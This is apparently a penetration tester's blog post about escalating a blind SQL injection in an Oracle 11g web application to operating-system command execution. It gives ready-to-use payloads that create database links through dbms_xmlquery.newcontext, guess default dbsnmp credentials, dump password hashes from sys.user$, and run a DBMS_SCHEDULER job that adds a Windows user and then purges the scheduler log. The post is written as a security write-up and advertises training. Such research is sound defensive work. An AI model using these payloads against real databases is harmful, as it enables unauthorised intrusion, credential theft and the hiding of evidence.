Oracle database (like any other database) offers functionality to create a database link via which you can connect to a remote database. You can then run a SQL Query on the remote database and get the results. This is exactly like the Openrowset/Openquery feature of MS-SQL.
CREATE DATABASE LINK local CONNECT TO USERNAME IDENTIFIED BY PASSWORD USING 'ORCL_SID'
NetSpi did a good job at documenting how to abuse MS-SQL openquery feature. During a recent pentest, we came across a SQLi in a web application which talks to Oracle database 11g R2. Desperate, as we were, to get a shell, this is how things unfolded:
Generic integer based blind SQLi in a web app
1. picked up by BurpPro
2. Exploitation in SQLmap didn't work by default
Reason: SQLmap's default boolean based injection works by issuing AND clauses:
select * from foo where id=5 and 1=1 select * from foo where id=5 and 1=2
Tip 1: This works 9 out of 10 times, but if the original entry id=5 does not return any records, you will miss SQLi. So just make the first entry return records by adding or 1=1
Sqlmap will complain:
"[13:24:41] [WARNING] it appears that you have provided tainted parameter values ('id=189881 or 1=1') with most probably leftover chars from manual SQL injection tests (;()') or non-valid numerical value. Please, always use only valid parameter values so sqlmap could be able to properly run Are you sure you want to continue? [y/N] Y"
Ignore the warning and select Y to continue. Now sqlmap will do its bit and you can get SQL Shell and extract anything you want.
So, after looking inside the database, we find our user has limited privileges. The database also seemed to be reasonably patched. We are not DBA and while we can extract data held in the database, we cannot have too much fun! :(
As creators' of SQLiLab we take great pride in researching new attacks and applying this research in our pentests. You can master SQLi and other injection flaws like LDAP, Xpath, XXE etc at our upcoming Black hat training class in Las Vegas. :)
So, carrying on we identify that the database user has these privileges:
select privilege from session_privs : [*] CREATE SESSION [*] UNLIMITED TABLESPACE [*] CREATE TABLE [*] CREATE DATABASE LINK
Immediately, the privilege CREATE DATABASE LINK caught our attention. Note that Oracle's SQL language do not allow you to write multiple statements. So, how are we going to create a DB_LINK in a SQLi which is probably in a Select statement? Check out our previous presentation on how to overcome this using function dbms_xmlquery.newcontext(). Using this function, we were able to create multiple links inside the database:
Tip 2: If you have CREATE DATABASE LINK privilege, you can use it in a web based SQLi to brute-force/guess a user login and if successful run a query as that user:
This is how the URL/attack would look like:
http://host/vuln.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK notsosecure_link CONNECT TO scott IDENTIFIED BY tiger USING ''''ORCL_SID'''' '';commit;end;') from dual) is not null
After trying a few requests, we hit the jackpot. The user dbsnmp was enabled on the database with the default credential dbsnmp. We created a link as that user:
sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK link2 CONNECT TO dbsnmp IDENTIFIED BY dbsnmp USING ''''ORCL_SID'''' '';commit;end;') from dual
The user DBSNMP has privilege "Select ANY Dictionary", which allows you to read password hashes stored in sys.user$
And now we are able to read password hashes:
sql-shell>select password from sys.user$@link2 [*] 286E1EA8F2CFD262 [*] 45B1C0C3BB1D853C [*] 4A3BA55E08595C81 ....
Note that DBSNMP user does not have DBA role and the only 'useful' privilege this user has is 'select any dictionary'. Now that we have the hashes, we can crack the hash for system user and create a link with the credentials of system user:
sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK pwn CONNECT TO system IDENTIFIED BY system_password USING ''''ORCL_SID'''' '';commit;end;') from dual
Now we can basically issue any query with system privileges. Those who have an account in SQliLab, should have seen a number of ways to execute OS code against Oracle with DBA role. Here is one of my favourite using function SYS.KUPP$PROC.CREATE_MASTER_PROCESS():
sql-shell>select SYS.KUPP$PROC.CREATE_MASTER_PROCESS@pwn('DBMS_SCHEDULER.create_program(''myprog10'',''EXECUTABLE'',''net user pwnedfromweb pwn3d!! /add'',0,TRUE); DBMS_SCHEDULER.create_job(job_name=>''myjob10'',program_name=>''myprog10'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''myprog10'');dbms_scheduler.purge_log;') from dual
Here we are executing the function SYS.KUPP$PROC.CREATE_MASTER_PROCESS() as SYS user via our DB_LINK 'pwn'. Only DBA users have access to this function.
And then, we had a shell! :)
Get in touch if you would like us to assess your application security.